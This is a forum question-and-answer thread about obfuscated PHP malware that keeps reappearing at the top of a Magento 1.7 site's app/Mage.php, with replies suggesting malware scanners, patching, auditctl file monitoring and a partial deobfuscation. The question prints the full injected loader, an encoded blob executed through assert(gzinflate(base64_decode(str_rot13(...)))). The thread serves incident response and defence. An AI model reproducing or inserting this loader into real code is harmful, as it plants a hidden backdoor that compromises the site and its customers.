magento 1 malicious code attack in app/Mage.php

Question

I have been working on a project and recently i am observing some malicious code is being added to the file app/Mage.php at the top of file. I have tried removing this code multiple times but it again comes back. I though found some unwanted code in the site under the root folder and removed it. I am not able to figure out how to trace this issue & from which place it is getting triggered.

Please help me if anyone have faced this same issue. I am using Magento 1.7 version.

Below is the code :-

$MlBA9qD="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";$vdp3W="\163\x74";$ebfvn5I="\141";$kmLzxWK="\147\x7a\151";$cEsRc7="\142\x61\163";$X9EUHcnqj="Fl1YmASDI/UApKX0YUFkIHy2YD5XAgrNPJund3u6zsfUSCe";$cEsRc7.="\145\66\64";$kmLzxWK.="\x6e\146";$ebfvn5I.="\x73";$X9EUHcnqj.="MXvyMd0ELhbM6WBpIMgxdrDq4SdLbJnsyS2zbIOMUSozJuT";$vdp3W.="\x72\x5f\162";$ebfvn5I.="\163\x65";$cEsRc7.="\x5f\144\x65\143";$kmLzxWK.="\154\141";$vdp3W.="\x6f\x74";$X9EUHcnqj.="KLTywQ2GMT5vLJPX62gvoZWQ3o5VjvwslvSYtg0KOyfMckL";$X9EUHcnqj.="Nz4EDtcIqALGH1eu1FDt1Jlp32dXfX9AJOzNzKHAn0O";$cEsRc7.="\157\x64\x65";$vdp3W.="\x31\x33";$ebfvn5I.="\162\164";$kmLzxWK.="\164\145";@$ebfvn5I($kmLzxWK($cEsRc7($vdp3W($X9EUHcnqj))));

Answer 1

I suggest you to use an tool to find php malware like this:

PHP MALWARE FINDER does its very best to detect obfuscated/dodgy code as well as files using PHP functions often used in malwares/webshells.

Second thing, you need upgrade your Magento, you can check all necessary patches using MageReport

https://www.magereport.com/

Backup your magento. Apply the scan. Get the Malware and do an reversal analysis to check what the malware really do, if you Magento Database was compromissed..etc

Answer 2

actually you can try to use this scanner, just to quickly find malware:

https://github.com/gwillem/magento-malware-scanner/blob/master/docs/usage.md

Using Debian/Ubuntu
# Install prerequisites on Debian/Ubuntu flavoured server
sudo apt install -qy python-pip gcc python-dev
sudo pip install --no-cache-dir --upgrade mwscan
Using CentOS
# If you don't have EPEL yet, for CentOS 6:
wget https://dl.fedoraproject.org/pub/epel/epel-release-latest-6.noarch.rpm
sudo rpm -ivh epel-release-latest-6.noarch.rpm

# CentOS 6 only:
sudo easy_install --upgrade requests

# All CentOS: 
sudo yum -y install python-pip python-devel gcc
sudo pip install --no-cache-dir --upgrade mwscan 

you can check general access log, nginx/apache, some connections you can see there.

or

configure auditctl to log:

auditctl -w /home/magento/app/Mage.php -p wa -k mage_malware

then check whats going on:

ausearch -k mage_malware | aureport -f -i


File Report
===============================================
# date time file syscall success exe auid event
===============================================
1. 05/24/2019 16:09:34 /home/magento/app/Mage.php open yes /usr/sbin/nginx unset 324771

Answer 3

I tried to decode the code to see what the code is actually doing. I got as far as this using online tools and a bit of my knowledge. Can't get any further.

assert(gzinflate(base64_decode(str_rot13("UApKX0YUFkIHy2YD5XAgrNPJund3u6zsfUSCeMXvyMd0ELhbM6WBpIMgxdrDq4SdLbJnsyS2zbIOMUSozJuTKLTywQ2GMT5vLJPX62gvoZWQ3o5VjvwslvSYtg0KOyfMckLNz4EDtcIqALGH1eu1FDt1Jlp32dXfX9AJOzNzKHAn0O"))));